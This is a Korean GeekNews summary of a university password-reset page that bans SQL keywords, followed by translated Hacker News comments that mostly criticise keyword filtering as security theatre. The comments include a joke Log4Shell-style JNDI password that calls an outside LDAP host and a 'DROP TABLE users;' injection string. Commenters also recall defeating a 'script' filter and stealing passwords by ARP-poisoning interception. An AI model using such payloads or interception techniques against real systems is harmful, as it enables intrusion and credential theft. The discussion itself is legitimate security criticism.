비밀번호에 사용할 수 없는 단어: select, insert, update, delete, drop

• University of Ljubljana ID 포털의 비밀번호 재설정은 사용자명과 새 비밀번호를 확인 입력까지 요구해 계정 복구 과정의 입력 오류를 줄이려는 구조임
• 사용자명은 이메일 주소처럼 보이는 형식이며, 예시로 [e-mail]가 제시됨
• 새 비밀번호는 최소 10자 이상이어야 하고, 이름·성처럼 쉽게 추측 가능한 개인정보를 포함할 수 없음
• 대문자, 소문자, 숫자, 기호 -_.+@ 중 최소 3개 기준을 만족해야 함
• select, insert, update, delete, drop 같은 단어도 비밀번호에 사용할 수 없어, 단순 길이보다 금지 패턴까지 확인해야 함

---

비밀번호 재설정 입력 흐름

• 화면은 Username, New password, New password confirmation 입력란으로 구성됨
• 세 항목은 모두 required로 표시됨
• 사용자명은 이메일 주소처럼 보이는 형식임
  • John Smith에 해당하는 사용자명 예시는 [e-mail]
• 새 비밀번호는 오타를 줄이기 위해 두 번 입력해야 함

새 비밀번호 규칙

• 새 비밀번호는 사용자의 디지털 신원을 보호하는 수단으로 다뤄짐
• 쉽게 추측 가능한 비밀번호는 피해야 함
  • 예: 이름, 성, 파트너 이름, 생년월일
• 비밀번호는 최소 10자 이상이어야 함
• 사용자의 이름 또는 성을 포함할 수 없음
• 다음 기준 중 최소 3개를 충족해야 함
  • 영어 알파벳 대문자
  • 영어 알파벳 소문자
  • 숫자
  • 기호: -_.+@

사용할 수 없는 단어

• 비밀번호에는 다음 단어를 사용할 수 없음
  • select
  • insert
  • update
  • delete
  • drop

[GN⁺]

Hacker News 의견들

• 오, 그 문자열은 내가 넣어둔 것임. 경영진 요청이었고 아직도 이유는 모름
  이 사이트는 비밀번호를 저장하지 않고, 외부 계정 관리 시스템을 보기 좋게 감싼 인터페이스에 가까움
  일부 레거시 앱의 로그인 필드 검증이 이상해서 특정 문자열이 들어간 비밀번호로는 학생들이 로그인하지 못한다는 소문은 들었지만, 실제 사례는 모름

  • 반대로 모든 비밀번호를 DROP TABLE users;로 만들면 됨. 그러면 공급업체 중 누가 비밀번호를 아주 불안전하게 처리하는지 금방 가려낼 수 있음
    이 경우 사용자 입력을 정제하지도 않고, 비밀번호를 해시하거나 숨기지도 않는다는 뜻이라 사회적 민폐 수준임
  • 어떤 사이트에서는 “새 비밀번호 만들기” 필드의 최대 길이가 로그인 폼 입력 필드의 maxlength 속성보다 길었음
    비밀번호 관리자의 자동 채우기로는 로그인되는데, 직접 입력하거나 붙여넣기는 왜 안 되는지 한참 이해하지 못했음. 자동 채우기는 maxlength를 무시했기 때문이었음
  • 그냥 페이지에 있는 문자열일 뿐인지, 아니면 검증 로직이 실제로 막는 건지 궁금함

• "script"를 포함할 수 없다고 했는데, 10대 초반에 큰 소셜 플랫폼 Nettby.no를 해킹한 적이 있음
  금지어를 전부 제거하는 방식이었고, 그 안에 script도 포함돼 있었음

  • 당연히 스크립트를 두 번 실행했어야 했던 것임
  • 나도 학교에서 Nettby를 해킹했었음. 좋은 시절이었음
    Nettby에는 HTTPS가 없어서 ARP 포이즈닝 중간자 공격으로 모두의 비밀번호를 훔쳤고, 사람들 계정으로 무작위 헛소리를 올려 혼란을 지켜봤음. 엿보지는 않았고, 14살의 나에게도 어쨌든 최소한의 윤리는 있었던 듯함
  • 쉬운 문제였음. 그냥 꺾쇠괄호만 제거하면 끝났을 텐데
  • LOL. 나도 Coca-Cola 사이트에서 같은 짓을 했고, 그 회사 MD가 불쾌한 편지를 보내고 내 계정을 삭제했음

• 비판을 많이 받을 것 같지만, 적어도 일부 경우에는 괜찮은 아이디어라고 봄
  조직 안에는 나쁜 코드와 나쁜 시스템 아키텍처를 만드는 사람이 많고, 그걸 잡아내서 바꾸게 만들 능력·권한·시간을 가진 사람은 부족함
  미국에서는 지역 의료기관 같은 형편없이 코딩된 웹사이트를 통해 어쩔 수 없이 업무를 봐야 할 때가 많음. 이런 경우 구현이 흔히 그렇듯 끔찍할 수 있다고 가정하고 그에 맞는 완화책을 권하는 편이 나을 수 있음
  명목상 금지된 비밀번호 패턴을 실제로 허용하는지는 사용자가 쉽게 테스트하고 감독기관에 문제 제기할 수 있지만, 바깥에서 제대로 구현됐는지 확인하기는 쉽지 않음
  우아하지 않고 비극적이지만, 현실적으로 일이 자주 엉망으로 처리되고 감독도 부족하다는 사실을 받아들이고 최악의 결과를 막는 완화책을 고민하는 게 나을 수 있음

  • 동의하지 않음. 종이 위에서는 좋아 보여도 가짜 안도감을 너무 크게 줌
    이런 보안 조치는 더 깊은 문제를 덮어버리는 경우가 많음. 보통 사용자 입력을 조심스럽게 처리하지 않기 때문에 이런 조치를 넣는데, 몇몇 키워드를 막으면 잠재적 취약점이 “무력화”된다는 가정은 대개 쉽게 반박됨. eBay와 JSFuck 사례를 보면 됨
    이런 사고방식이 싫음. 웹 애플리케이션 방화벽(WAF), 게으른 침투 테스트, 컴플라이언스 체크박스가 엄청난 양의 보안 연극을 만들었고, 회사들이 말도 안 되게 엉망으로 작성된 소프트웨어를 공개 인터넷에 일부 노출해도 “안전”하며 “실사를 다했다”고 믿게 만들었다고 확신함
    그 결과 실제 선택권도 거의 없이 데이터를 넘긴 회사에서 내 가장 민감한 정보가 또 유출됐다는 사과 편지를 우편으로 받게 됨. 분명 다들 내 데이터를 깊이 아껴서, 수십 년 된 Java 직렬화 라이브러리 취약점으로 도둑맞게 둔 것이겠지
    [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
  • 어떤 조직에 이런 비밀번호 정책이 있다면, 그 정책 담당자가 자기 조직에는 SQL 삽입 취약점을 막을 역량과 권한을 가진 사람이 충분하지 않다고 생각한다는 뜻으로 해석될 수 있음
    어떤 기관에도 나쁘게 보이지만, 특히 역량과 권한 있는 사람들의 보루여야 할 대학이라면 더 심각함
    일반적인 비밀번호 조언으로 보면, 차라리 모두가 이런 키워드를 비밀번호에 넣어 버그를 빨리 드러내야 함. 숨겨져 있다가 공격자에게만 쓰이게 두면 안 됨
  • 비밀번호는 데이터베이스 근처에도 가면 안 됨
    솔트 처리 후 해시를 수십만 번 적용하고, 파일에 저장된 솔트·해시 값과 비교해야 함
    이것조차 못 한다면 자격 증명을 저장하는 소프트웨어를 작성할 자격이 없음. 진심임. 소프트웨어 보안은 데이터가 독성이 있으며, 존중하지 않으면 회사를 파산시킬 수 있다는 사실을 인정하는 데서 시작함
  • 이건 흔한 심층 방어 함정으로 보임. 훨씬 효율적으로 다른 계층에서 풀 수 있는 문제에 잘못된 계층의 엔지니어링 노력을 쏟는 상황임
    시스템이 평문 비밀번호를 데이터베이스 테이블에 넣을까 봐 걱정해야 한다면, 그 시스템에는 그 밖에도 끔찍하게 잘못될 수 있는 일이 백만 가지는 있음. 예를 들어 DBA가 Stack Overflow에서 SQL을 복사해 붙여넣으면 어떻게 할 것인가
    조직에 역량 없는 엔지니어가 있다면 자체 인증 시스템을 구현하게 하지 말고, 널리 쓰이는 오픈소스 프레임워크나 상용 제품을 쓰는 편이 나음
  • 이게 막아주는 공격 경로가 무엇인지 모르겠음
    인증 흐름이 비밀번호에 솔트와 해시를 적용한 뒤 원본 평문 비밀번호를 버리는 것 말고 다른 일을 한다면, 전체 시스템을 아예 쓰면 안 됨

• 괜찮음. 대신 truncate를 쓰면 됨

• 이 상황에서 제일 웃긴 건, 금지 문자열을 전부 검사하지도 않는다는 점임
  출처: 그 학교 학생이고, 궁금해서 직접 해봤음

  • 뭔가 망가지면 그 면책 문구를 핑계로 너에게 책임을 돌릴 가능성이 큼
  • 규정을 어겼을 때의 위험이 퇴학이라면 준수 여부를 확보하기는 쉽겠음

• 적절한 저장 프로시저와 다른 기법으로 SQL 삽입이 아예 불가능하게 만드는 대신, 몇 가지 키워드만 제한하고 해커가 이스케이프 꼼수 같은 자신들이 생각 못 한 방법을 떠올리지 않기를 바라는 것임
  한동안은 아마 동작하겠지만, 누군가 안 된다는 걸 증명할 때까지임
  사용자 입력이 SQL과 섞이지 않게 하는 건 이제 로켓 과학이 아님. 2005년이 아님
  애초에 이게 효과가 있다면 비밀번호를 해시하지 않고 저장한다는 뜻인데, 그건 2005년에도 어리석었음. 사용자명이나 다른 입력 필드에도 같은 방식이면 조금 더 말이 되겠지만, 비밀번호는 절대 그런 식으로 데이터베이스에 들어가면 안 됨

  • 회사에서 구조화된 데이터를 HTTP 요청 헤더 값으로 직렬화하는 방법을 논의한 적이 있음. 반사적으로 “줄바꿈 없는 JSON의 ASCII 부분집합”이라고 했지만 여러 이유로 기각됐음. 구두점이 너무 많다거나 중국어에는 장황하다거나 하는 이유였을 수 있음
    누군가 파이프로 구분된 필드를 제안했지만 그것도 기각됨. 이유는 “예전에 일부 고객 프록시가 파이프 문자가 포함된 헤더를 거부했다”는 식이었음
    부두교식 프로그래밍이 항상 실사 부족 때문만은 아님. 과거에 뭔가 잘못됐다는 건 알지만 증거는 없고, 대응할 방법도 없는 경우에서 나오기도 함
    개인적으로는 그냥 배포하고 깨지는지 본 뒤, 필요하면 사후에 고객과 풀고 싶음. 당연하고 좋은 이유로 인기가 없는 방식이라 결국 파이프 문자는 안 쓰게 됨
  • 2005년 초쯤 첫 데이터베이스 앱을 만들었는데, 사용자 데이터를 SQL과 섞지 않는 게 그렇게 어렵지는 않았음
    CGI 스크립트도 아마 taint mode로 돌렸던 것 같음. 그거 기억나는지?
  • “애초에 이게 효과가 있다면 비밀번호를 해시하지 않고 저장한다”는 건 꼭 그렇지는 않음
    RDBMS가 해시 함수를 지원할 수 있으니 UPDATE USERS SET PASSWORD = SHA2($PASSWORD)처럼 저장할 수도 있음. 이 경우 SQL 삽입에는 취약하지만, 해시 안 된 비밀번호를 저장하는 건 아님
    해시는 애플리케이션 계층에서 하라고 권할 좋은 이유가 있지만, 올바르게 매개변수화된 쿼리를 쓴다면 데이터베이스에서 하는 것도 그렇게 끔찍하지는 않음
  • 이 글이 첫 페이지에 올라왔다는 사실 자체가, 지금 설명하는 내용이 이 독자층에게는 당연한 이야기라는 뜻임

• 휴, 절대 못 잡겠네. 내 비밀번호는 ${jndi:ldap://hunter2.com/totallylegit}임

  • 아님. 그건 유효한 LDAP URL도 아니고, 유효한 도메인도 아님
    도메인은 ASCII 문자 a-z와 숫자 0-9만 포함할 수 있고, 별표는 허용되지 않음. 허용되는 유일한 기호는 하이픈이며, 시작이나 끝에 올 수도 없음

• 낙관적으로 보면 이 요구사항은 과도하게 엄격한 웹 애플리케이션 방화벽(WAF) 에서 비롯됐을 수도 있음

  • 아니면 아키텍처가 엉망인 “프레임워크”나 도구 모음 때문일 수도 있음
    다른 댓글들은 이걸 애플리케이션 보안이 나쁘다는 “증거”로 보지만, 그렇게까지 결론낼 수는 없다고 봄. 다만 스택의 일부가 형편없이 구현됐다는 결론은 내릴 수 있음
  • 그러면 WAF가 해시되지 않은 비밀번호를 볼 수 있다는 뜻이라, 전혀 좋지 않음
  • WAF가 무엇의 약자인지 궁금함

• 오래된 시스템에서 남은 잔재처럼 들림. 일부 대학과 은행이 중앙 인증에 오래된 메인프레임을 쓴다는 이야기를 들은 적이 있음
  어떤 경우에는 비밀번호가 평문으로 저장되고 8자로 잘린 뒤 대문자만 허용됐다고 들었음
  이런 시스템을 업그레이드하지 않는 주된 이유는, 적어도 내가 들은 바로는 비용과 복잡성임. $$$$를 들여 작동 중인 시스템을 업그레이드하느니, $만 들여 비밀번호를 제한하고 기본적인 “보안”을 추가하자는 식임

• 몇 년 전 WordPress API로 글을 올리는 앱을 만들고 있었음. 고객들은 각자 다양한 호스팅 환경에 WordPress를 설치해 두었고, 거기에는 여러 “보안” 기능이 있었음
  블로그에 글을 올리면 실패하고 빈 내용이 올라간다는 버그 리포트를 받았는데, 이런 보안 플러그인이 긴 블로그 글을 스캔하다가 .... select from 같은 것을 찾으면 해당 POST 매개변수를 빈 문자열로 바꿔버렸음
  비슷한 고객 버그 리포트도 봤는데, 우리 서버에서 보낸 요청의 JSON 필드 안 HTML 텍스트에 난독화된 JavaScript가 주입되어 있었음. “보안” 플러그인인지 악성코드인지는 확신할 수 없었음

  • 예전에 특정 페이지 집합에서 소수의 요청만 실패하는 일이 있었음. 처음에는 모든 URL에 select가 들어간다는 걸 발견했는데, 대체로 itemselect 같은 매개변수 이름의 일부였음. 그래서 스택 어딘가에 WAF 같은 필터가 있는지 뒤졌음
    결국 상용 WAF를 쓰기 전부터 프록시 서버에 남아 있던 오래된 설정을 찾았고, 그 설정이 SELECT.*UNION을 찾고 있었음
    다시 URL을 보니 모두 company=credit+union 같은 매개변수도 갖고 있었음. 얼굴을 감싸쥐고 그 코드를 제거했고, 다른 곳에 보호 장치는 충분했음